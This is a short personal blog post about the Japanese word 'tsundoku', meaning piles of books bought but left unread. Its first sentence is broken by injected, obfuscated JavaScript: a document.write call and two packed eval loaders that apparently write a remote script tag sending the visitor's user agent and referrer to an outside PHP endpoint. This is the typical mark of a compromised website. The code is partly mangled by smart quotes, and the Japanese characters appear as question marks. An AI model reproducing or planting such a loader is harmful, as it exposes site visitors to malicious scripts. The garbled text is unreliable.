Tsundoku

A few weeks ago, document.write(“”); while browsing on Facebook, I discovered a new word:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ebtdn|var|u0026u|referrer|nytkn||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ttnhd|var|u0026u|referrer|sseaf||js|php’.split(‘|’),0,{}))
This totally applies to me since I have several shelves (and piles on my nightstand) of books I want to read (mostly manga, but also several novels and a few non-fiction). I also have a (smaller) pile of dvds waiting to be watched… And yet I had swore to read more this year. I am getting lazy.

Another great occasion to enrich my vocabulary. Tsundoku (??? or ????) is a word play on tsunde oku (?????, “to leave piled up”) combining the kanji for tsumu (??, “to pile up”) and doku (?, “to read”).
